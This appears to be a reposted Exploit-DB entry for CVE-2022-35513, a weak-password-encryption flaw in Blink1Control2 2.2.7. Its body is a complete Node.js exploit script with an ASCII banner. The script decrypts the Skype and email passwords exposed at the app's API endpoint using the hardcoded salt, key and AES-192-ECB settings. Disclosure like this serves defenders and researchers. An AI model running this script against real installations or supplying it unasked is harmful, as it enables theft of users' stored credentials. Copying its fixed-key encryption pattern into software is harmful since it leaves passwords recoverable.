1
[local] Blink1Control2 2.2.7 - Weak Password Encryption
source link: https://www.exploit-db.com/exploits/51014
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Blink1Control2 2.2.7 - Weak Password Encryption
// Exploit Title: Blink1Control2 2.2.7 - Weak Password Encryption
// Date: 2022-08-12
// Exploit Author: p1ckzi
// Vendor Homepage: https://thingm.com/
// Software Link: https://github.com/todbot/Blink1Control2/releases/tag/v2.2.7
// Vulnerable Version: blink1control2 <= 2.2.7
// Tested on: Ubuntu Linux 20.04, Windows 10, Windows 11.
// CVE: CVE-2022-35513
//
// Description:
// the blink1control2 app (versions <= 2.2.7) utilises an insecure method
// of password storage which can be found by accessing the /blink1/input url
// of the api server.
// password ciphertext for skype logins and email are listed
// and can be decrypted. example usage:
// node blink1-pass-decrypt <ciphertext>
#!/usr/bin/env node
const {ArgumentParser} = require('argparse');
const simpleCrypt = require('simplecrypt');
function exploit() {
const BANNER = '\033[36m\n\
_ _ _ _ _\n\
| |__ | (_)_ __ | | _/ | _ __ __ _ ___ ___\n\
| \'_ \\| | | \'_ \\| |/ | |_____| \'_ \\ / _` / __/ __|_____\n\
| |_) | | | | | | <| |_____| |_) | (_| \\__ \\__ |_____|\n\
|_.__/|_|_|_| |_|_|\\_|_| | .__/ \\__,_|___|___/\n\
|_|\n\
_ _\n\
__| | ___ ___ _ __ _ _ _ __ | |_\n\
/ _` |/ _ \\/ __| \'__| | | | \'_ \\| __|\n\
| (_| | __| (__| | | |_| | |_) | |_\n\
\\__,_|\\___|\\___|_| \\__, | .__/ \\__|\n\
|___/|_|\033[39m';
const PARSER = new ArgumentParser({
description: 'decrypts passwords found at the /blink/input url '
+ 'of the blink1control2 api server (version <= 2.2.7 ).'
});
PARSER.add_argument('ciphertext', {
help: 'encrypted password string to use', type: 'str'
});
let args = PARSER.parse_args();
// supplied ciphertext is decrypted with same salt, password, and method
// used for encryption:
try {
let crypt = simpleCrypt({
salt: 'boopdeeboop',
password: 'blink1control',
method: 'aes-192-ecb'
});
let ciphertext = args.ciphertext;
let decrypted = crypt.decrypt(ciphertext);
console.log(BANNER);
console.log('\033[32m[+] decrypted password:\033[39m');
console.log(decrypted);
}
catch (TypeError) {
console.log('\033[33m[!] the submitted hash was invalid.\033[39m');
}
finally {
process.exit(1);
}
}
exploit()
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK